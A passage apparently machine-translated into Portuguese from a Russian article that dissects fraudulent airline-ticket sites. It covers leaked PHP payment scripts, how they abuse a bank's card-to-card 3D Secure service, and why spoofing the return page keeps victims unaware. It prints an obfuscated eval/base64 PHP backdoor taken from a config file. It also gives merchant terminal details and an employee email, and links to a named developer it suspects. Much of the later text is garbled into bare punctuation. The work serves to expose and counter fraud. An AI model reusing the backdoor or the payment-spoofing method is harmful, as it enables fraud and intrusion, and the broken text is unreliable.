Estamos tentando novamente efetuar um pagamento com um site local que funciona através do protocolo https.

Quando você se conecta pela primeira vez, o navegador jura naturalmente na conexão segura configurada incorretamente. Isso se deve ao fato de termos um certificado autoassinado.



Como a fonte do certificado é conhecida, nós as adicionamos às exceções.



Só isso. Agora a conexão é feita via https e, ao mudar do site do Sberbank, os avisos desaparecem.



Depois de inserir o código 3D Secure, o retorno à página especialmente preparada é realizado corretamente.



Tudo funciona bem, exceto que o dinheiro realmente não funciona . Como resultado, tive que testar e pesquisar por vários dias, qual poderia ser o motivo.

Eu tinha apenas parte dos arquivos usados ​​em um dos sites fraudulentos de passagens aéreas. Entre os arquivos que foram enviados para mim, havia um arquivo payment.php. Isso é semelhante ao script analisado acima. A julgar pelo código, provavelmente foi criado não para enganar os visitantes no "site de combate", mas para testar por um programador-desenvolvedor a possibilidade de transferir de um cartão para outro através do serviço 3ds.payment.ru. É improvável, mas teoricamente, nas primeiras versões de sites fraudulentos, poderia ser usado não apenas para testes.

Tentei efetuar um pagamento usando o script payment.php alternativo e o pagamento passou na primeira vez.A única coisa que a confirmação do pagamento bem-sucedido foi exibida no site 3ds.payment.ru. Decidi que, como esse script funciona, será possível encontrar o motivo pelo qual o primeiro script da descrição (payp2p.php) não funciona.



Código completo do script payment.php sob o spoiler

.

Descrição das diferenças entre os scripts payment.php e payp2p.php
. .

payp2p.php POST . payment.php GET . , , :

https://p2p.localhost/payment.php?card_1=1111&card_2=2222...&cvc=999...&price=30...

, « ».

Payment.php payp2p.php MySQL. . .

Payment.php . , . , payp2p.php , , payment.php . TERMINAL=24043210, MERCH_NAME=PSB, MERCHANT=000601224043202, EMAIL=lakhtin%40psbank.ru, TRTYPE=8 ( TRTYPE . payp2p.php ).

— payment.php https://3ds.payment.ru/cgi-bin/is_3DS. {"IS_ACTIVE":"Y"} , ( 3D Secure).

. payment.php . , 3ds.payment.ru.

… , Firefox, «» payment.php («Firefox/3.0.3»), , , , . , 3.5 Firefox 2009 , 4 Firefox 2011, payp2p.php , «Firefox/38.0», 2016 — Firefox 49.

Houve tentativas de corrigir o script payp2p.php que não estava funcionando por algum motivo, de corrigi-lo, tomando como base o script de trabalho. Várias opções foram tentadas. Todos os trechos de código que de alguma forma poderiam afetar o trabalho, por sua vez, foram transferidos do script de trabalho para o que não funcionava. Entre outras coisas, houve uma tentativa de uma conexão intermediária adicional com https://3ds.payment.ru/cgi-bin/is_3DS; alterar, ativar e desativar as opções cURL, etc. Nada ajudou, a flor de pedra não saiu.

Mais tarde, durante o teste, foi decidido desativar os redirecionamentos na fase final no payp2p.php. Depois disso, tornou-se possível ler a mensagem de erro do Promsvyazbank. Captura de tela do erro abaixo. No navegador, após uma tentativa mal sucedida de efetuar um pagamento, outra página é exibida, mas se você clicar em "Voltar" uma ou mais vezes, poderá ver esta página.


:

, .

: / (/)
, , /

Existem algumas restrições no número de pagamentos de um cartão por dia no site do Promsvyazyazbank, etc. Embora eu não tenha excedido os limites no número de pagamentos reais, é possível que os pagamentos não tenham sido processados ​​em algum momento, devido ao grande número de minhas tentativas. (Para capturar os valores das variáveis ​​durante a depuração, iniciei o processo de pagamento várias vezes, mas não o finalizei) Não sei o motivo exato dessa mensagem. Cada tentativa de pagamento de ORDER_NUM e TIMESTAMP usa uma nova. Eles não deveriam ter influenciado a aparência de tal erro. Embora o cartão que eu usei para pagamento, um pagamento bem-sucedido tenha passado por um script payment.php alternativo, talvez o cartão do remetente ou do destinatário tenha entrado na lista de espera.

O script payp2p.php já era um pouco parecido com o estado original. Eu mesmo comecei a ficar confuso sobre o que substituí e o que não substitui. Portanto, retornei à sua forma original, exceto que nas últimas linhas o redirecionamento do redirecionamento para a página de pagamento bem-sucedido foi desativado. Os números dos cartões do remetente e do destinatário para as tentativas subseqüentes foram usados ​​de novo.

Por fim, com a ajuda do payp2p.php, ocorreu um pagamento bem-sucedido.



Preste atenção à assinatura na linha "Descrição".

Após inserir o código de confirmação 3D Secure, o retorno é feito na página Promsvyazbak:



SMS recebido. À esquerda do banco do remetente. À direita do banco do beneficiário.



O Sberbank, por algum motivo, indicado no horário GMT por SMS. Anteriormente, eu não percebi isso nas mensagens deste banco.

Com a substituição da página de retorno desativada, repita o pagamento com sucesso usando o script payp2.php que foi exibido várias vezes.

Eu tentei pagar com outros cartões. Cada banco emite seu formulário 3D Secure. Mas isso não muda a essência.





Observe que nem todos os bancos incluem uma "descrição adicional" em seu formulário de confirmação. No nosso exemplo, "bilhete pago".

Não é necessário se adaptar à página de cada banco. Embora as formas sejam diferentes, o mecanismo de substituição delas é o mesmo. Qualquer formulário após o pagamento contém um link com o endereço da página para a qual você deseja retornar. Os próprios bancos, que fornecem formulários de verificação 3D Secure, provavelmente não serão devolvidos ao "site esquerdo". Certamente, existem algumas regras e os bancos do formulário de verificação do 3DS devem retornar pelo menos ao mesmo domínio do qual a solicitação de pagamento foi recebida. (No nosso caso, em 3ds.payment.ru). O banco que verifica o código 3D Secure, caso a senha seja digitada corretamente, no código html da página indica o endereço para o qual é necessário retornar, mas não pode mais controlar se deveria retornar a esta página.

Como resultado de todas as experiências, foi possível obter o script payp2p.php através do serviço de transferência de cartão para cartão do Promsvyazbank 3ds.payment.ru. Ao mesmo tempo, tive que desativar a substituição do endereço de retorno nas últimas linhas do script. Quando você ativa a falsificação do endereço da página de retorno, como estava no script original, atualmente o dinheiro não passa. A página de verificação do 3D Secure é exibida; SMS com "senha" é enviado; o formulário de verificação não pula para a próxima etapa ao inserir a senha incorreta; depois de inserir a "senha" correta, redireciona para uma página falsa, mas o dinheiro não passa.

A falsificação do endereço da página de retorno para o pagamento bem-sucedido é uma parte muito importante para sites fraudulentos. Se o "comprador de passagens aéreas" não suspeitar que foi enganado, ele poderá pagar não apenas uma, mas várias compras de passagens e, depois disso, por um longo período (dias e semanas), não tomará nenhuma ação ativa para cancelar o pagamento, etc. Se o comprador depois de "pagar as passagens aéreas" receber a confirmação da transferência de cartão para cartão, provavelmente não fará mais os pagamentos a seguir, entrará em contato com o banco e, possivelmente, com a polícia muito mais rapidamente. Isso significa que os fluxos de caixa em sites fraudulentos são reduzidos, aumenta a probabilidade de cancelar pagamentos anteriores, as agências policiais e os funcionários anfitriões começam a agir mais cedo, e aumenta a probabilidade de não ter tempo para retirar fundos roubados para um local seguro.

O fato de esse script ter sido usado em um site fraudulento de combate, não tenho dúvidas. Tenho motivos para acreditar que funcionou da forma em que foi fornecido a mim. Atualmente, ele funciona limitado (sem redirecionamentos).

Cerca de três semanas após a publicação da primeira parte da publicação, que mencionava fraudadores usando o serviço de transferência cartão a cartão do Promsvyazbank, esse banco fez algumas alterações em seu serviço, o que considero importante. Antes, ao pagar pelo site do Promsvyazbank, os pagadores recebiam SMS incompreensível com o texto "P2P PSBANK", mas agora começaram a receber SMS com o texto "CARD2CARD PSBANK.RU". Mesmo assim, à primeira vista, uma pequena alteração na descriptografia da finalidade do pagamento é suficiente para que algumas das possíveis vítimas de fraudadores cancelem o pagamento na fase de confirmação. Eu acho que isso não é uma coincidência, e as mudanças foram feitas precisamente como resultado da publicação do artigo no GeekTimes.

É provável que, após a publicação da primeira parte do artigo, juntamente com a alteração do texto de confirmação no SMS, ajustes adicionais possam ser feitos nos algoritmos do serviço de transferência de cartão para cartão do Promsvyazbank. Não posso dizer 100%, mas minha opinião é que antes do serviço do Promsvyazbank 3ds.payment.ru com uma alta probabilidade não verificava o retorno dos usuários ao site depois de inserir com êxito o código 3D Secure nos sites dos bancos que emitem cartões. Portanto, os pagamentos foram processados ​​mesmo quando scripts fraudulentos alteraram a página de retorno.

O banco, mencionado muitas vezes nesta publicação, teve sorte com publicidade gratuita. Penso que, na realidade, ainda existe um número suficiente desses bancos. Só que isso é mais feliz porque foi escolhido primeiro para uso em sites fraudulentos e depois para análise neste artigo. Como se costuma dizer, não há pacientes saudáveis, há pacientes mal examinados.

Ao escrever este artigo, a tarefa de criar um script fraudulento de combate não valeu a pena. A tarefa era tentar entender como isso funciona ou funcionou, a fim de entender os motivos pelos quais os "compradores de passagens aéreas" poderiam ser enganados e tirar conclusões disso.

Este artigo levanta muitas perguntas, mas não fornece todas as respostas. Estou certo de que entre os leitores haverá um número suficiente de usuários avançados que poderão comentar com mais precisão o quadro clínico e fazer um diagnóstico. Pela minha parte, tentei apresentar o testemunho o mais completamente possível ...

Parte da publicação com a análise do script de pagamento está concluída. Bônus adicionais para aqueles que puderam ler neste local.


De onde vem a passagem aérea barata em sites fraudulentos?

Na parte anterior da publicação, por sinais indiretos, foi demonstrado que informações sobre a disponibilidade de locais e preços são obtidas de forma programática em algum site honesto, modificado e emitido para o usuário.

Exemplo de informações sobre disponibilidade e preços em um site fraudulento


Agora temos a oportunidade de olhar nos bastidores e ver como isso é implementado no código do programa.

Aqui é o local no código do site fraudulento no qual vemos de onde vêm as fotos e os preços dos voos de sites fraudulentos.



Como esperado nesta série de sites fraudulentos, as informações sobre lugares disponíveis são obtidas em um site honesto www.aviacassa.ru. Como o número de companhias aéreas e vôos é grande, é muito difícil fazer o download antecipado de todas as imagens e ícones em tal problema; os links para essas imagens são deixados diretamente no site original.

O desconto é deduzido do preço original recebido pelas passagens aéreas. Como mostrado anteriormente, o proprietário de um site fraudulento pode definir arbitrariamente o valor do desconto. O valor do desconto é armazenado no arquivo aviacfg.php.

Um código mais completo responsável por obter informações sobre a disponibilidade de assentos, preparar links para fotos e alterar preços sob o spoiler.

Analisador de preço - uma parte mais completa do código


Não desmontaremos essa peça linha por linha, pois não é o código em si que é importante, mas a idéia de como e de onde vêm os dados reais de passagens aéreas para sites fraudulentos.

O analisador antigo usou outro site para obter dados:



Dica para a bilheteria (www.aviacassa.ru)- você precisa fechar a possibilidade de links para arquivos de domínio de um referenciador externo (site de referência). Essa oportunidade pode ser fechada para todos, sem exceção, ou você pode fazer exceções apenas para parceiros confiáveis. O servidor da web NGINX, que usa aviacassa, facilita isso. A mesma recomendação para todos os sites semelhantes que podem ser usados ​​como "doadores de informações".

Se sites fraudulentos não puderem vincular diretamente a imagens em sites como bilheterias, isso complicará sua vida. O número de logotipos e imagens de várias companhias aéreas não é conhecido antecipadamente. Mesmo se você tentar baixar as fotos com antecedência, poderá pular alguma coisa e o site fraudulento ficará feio. Esses sites serão forçados a baixar todas as imagens localmente no servidor a cada solicitação ou, pelo menos, verificar se essa imagem foi baixada anteriormente no "cache" ou não. Isso aumenta a carga no servidor de fraude e torna a renderização da página mais lenta. Além disso, o fechamento da capacidade de vincular diretamente as imagens ao mesmo tempo tornará todos os sites fraudulentos atuais que usam as informações da bilheteria inoperantes.

Obviamente, com o tempo, os desenvolvedores farão correções. Porém, como sites fraudulentos não são gerenciados centralmente e várias pessoas não têm atualizações automáticas de software, cada proprietário de um site fraudulento precisará procurar uma oportunidade para atualizar. Alguém encontrará o código atualizado, mas alguém não o encontrará e o site deixará de funcionar.

Além disso, a bilheteria pode incluir um registro separado para essas imagens, no qual os registros sobre todos os referenciadores externos (sites de referência) serão salvos. E em alguns dias nesse log, você obterá uma lista de todos os sites fraudulentos ativos. É muito conveniente - em vez de tentar encontrar cada site individualmente, você pode solicitar que eles se registrem independentemente na lista (arquivo de log).

E se houver administradores engraçados na bilheteria, você pode fazer uma piada ...
- NGINX , , «» , URL , . . — « » , -, , , , .

Alguém pode dizer que a publicação de tais artigos serve como uma ferramenta de treinamento para golpistas e fazer uma pergunta: por que eu a publiquei aqui? Eu respondo. Se existe alguma maneira de roubar dinheiro, com base no uso de software vulnerável ou insuficientemente protegido, sobre o qual pelo menos algumas pessoas sabem e seu objetivo é ganhar dinheiro com isso, uma tentativa de ocultar essas informações e fingir que não há problemas leva apenas a consequências ainda piores. Os fraudadores usam esses métodos ainda mais ativamente, enquanto os bancos ficam satisfeitos porque pagam regularmente a comissão pelos serviços e roubam dinheiro deles. Por que os bancos precisam mudar alguma coisa, se tudo é tão bom? De tempos em tempos, apenas alguns usuários da Internet são enganados e perdem dinheiro em sites fraudulentos. Mas quem se importa?

Minha opinião é que, se alguma oportunidade "complicada" de roubar dinheiro for conhecida por um número muito grande de pessoas, com o tempo, torna-se muito mais difícil para os fraudadores usá-lo, e torna-se impossível para as organizações que o usam ignorarem problemas.

O script payp2.php e vários arquivos usados ​​em uma série recente de sites fraudulentos de vendas de companhias aéreas foram enviados a mim pelo usuário frozenstorm . Não sei onde ele conseguiu - encaminhe diretamente a ele todas as perguntas sobre esse assunto.

Mas posso dizer imediatamente que, como se viu depois, não é difícil encontrar o conjunto completo de códigos-fonte para sites fraudulentos que vendem passagens aéreas. Pesquisou "voos falsos". Os dois principais mecanismos de pesquisa fornecem links na primeira página. Um conjunto completo de códigos-fonte custa apenas 25 a 30 toneladas de rublos. Depois que esse tópico parou de funcionar, os códigos-fonte não funcionais, que, segundo o vendedor, são "fáceis de terminar", começaram a custar 10 tr. Recentemente, a julgar pelas mensagens nos fóruns, a versão 2.0 supostamente está à venda novamente a um preço de 25tr.

Abaixo está um exemplo de spoiler da venda gratuita do código fonte de um site fraudulento para a venda de passagens aéreas em um dos fóruns.

Captura de tela do fórum. (Fotos legais e muito longas)

. (2/5)


. (3/5)


. (4/5)


. (5/5)



No fórum, mostrado na captura de tela, códigos de sites fraudulentos semelhantes, informações de cartão de crédito, dados de passaporte, informações pessoais de bancos de dados estaduais são vendidos e comprados abertamente, propõe-se a criação de passaportes falsos, carteiras de motorista etc. Esta é apenas uma pequena lista, por exemplo. I.e. com raras exceções, há crime contínuo. Ao mesmo tempo, a administração do fórum atua como garante entre compradores e vendedores. Existem vários fóruns como este. Todos eles trabalham livremente por anos. Todos eles são perfeitamente indexados pelos mecanismos de pesquisa (Yandex, Google, etc.). Não cito o endereço de um fórum específico. Eles são muito fáceis de encontrar.

Como atrás de cada site fraudulento para a venda de passagens aéreas há uma pessoa separada que comprou o código-fonte do site por baixo custo, em cada caso, você pode encontrar a pessoa responsável e isso deve ser feito. Nem todo administrador de um site falso é um super profissional cujos traços não podem ser encontrados. Estou certo de que, entre esses administradores, há um número suficiente de pessoas que herdaram e, se tiverem a autoridade apropriada, podem ser calculadas. Mas, na minha opinião, em vez de tentar lidar com cada site falso individualmente, você deve prestar atenção nos sites em que as fontes desses sites falsos são distribuídas livremente.

Para infligir um golpe esmagador em sites fraudulentos que vendem passagens aéreas falsas, você não precisa de muito. Se todo mundo fizer um pouco, isso complicará bastante a vida dos fraudadores e poderá levantar a questão da ineficiência de conduzir um negócio desses. É preciso um pouco de atenção dos mecanismos de pesquisa - para impedir que esses sites entrem em anúncios. Não é realista dividir esses sites nos principais resultados sem publicidade. Além disso, os mecanismos de pesquisa devem excluir sites que realmente compram e vendem esquemas criminais. É preciso pouca atenção dos bancos para acompanhar seus serviços de pagamento, para que os fraudadores não possam usá-los facilmente. Precisa de um pouco de atenção dos hosters. Você precisa de um pouco de atenção dos sistemas de pagamento. Para começar, não permita pagamentos sem verificar o 3D Secure (como mostrado na primeira parte da publicação,ainda é possível). Precisa de alguma atenção da aplicação da lei. Em vez de investigar todos os casos de roubo de dinheiro, é mais eficiente agir com antecedência - lidar com o ninho onde os golpistas se comunicam (analise, por exemplo, aqueles fóruns muito sombrios). E é claro que você precisa de um pouco de atenção dos potenciais compradores de passagens aéreas.

Eles dizem que os reparos não podem ser concluídos e só podem ser interrompidos. Esta publicação é um caso semelhante. Portanto, embora muito mais possa ser escrito, vou parar por aqui. Obrigado pela atenção. Ficarei feliz em seus comentários.

PS Sobre Jackie Chan ... Você não pode ler
, , , , .

, , , , - . . .

fon.png. , , . (merch) . .

. , - , . . .


VISA Mastercard (logo_standart_ru.png):



. , .

parser.php


.

, , , - . , -, «» . (config.php) , . . . . .



'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

'.@evalbase64_dec&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;#111;deDQppZihpc3NldCgkX1JFUVVFU1RbImRsZV9leGVjIl0pKXsNCglAZXZhbCgkX1JFUVVFU1RbImRsZV9leGVjIl0pOw0KCWV4aXQ7DQp9LyoqLw0K.//456' => 'qwe',

.


, , , «» .

email
, EMAIL. :


3ds.payment.ru Lakhtin@psbank.ru.

, ? , - . , , Mastercard 3DS.

https://www.mastercard.us/content/dam/mccom/en-us/documents/SecureCode%20Vendor%20list/3ds-vendor-list-042215.pdf

Mastercard


email . - . - . .. - , , , - .

, email ? . , -, . , . . , , - - , , .

. , - - email . , , . , . , , , . - , , , email -, - . (, , .. ). , .. . . , -, . , , , , . . , -, , . , , , , .

? , . email , , . . - , - , .

?
, , «» 3ds.payment.ru, . , LaravelRUS , Curl 3ds.payment.ru.

, . ? ? ?
, , .







. . - .



:

» https://gitter.im/LaravelRUS/chat/archives/2016/05/06 — . .
» http://gitchat.org/developers/Valtas
» https://github.com/Valtas — Github
» https://www.fl.ru/tu/57770/parser-internet-magazina.html - .

, , — .

, . , . , .

http://forum.prootzyvy.org/forums/spisok-sajtov-moshennikov-po-prodazhe-aviabiletov.134/

336 . , . .



? , . . , . , , , .. , . , , . , - « » . ( ). - 5-10-20 .. , , , . (), , , .

. ?
. . , . , . «. ». , . , . . . .

, , . , , -, . , . , , .

, . , . , .

, , . - - . . , .



80 , . , . , . :



56 , « », , .
, , « », , .

:





- -. , . , . . , . , , , .

Source: https://habr.com/ru/post/pt398313/


All Articles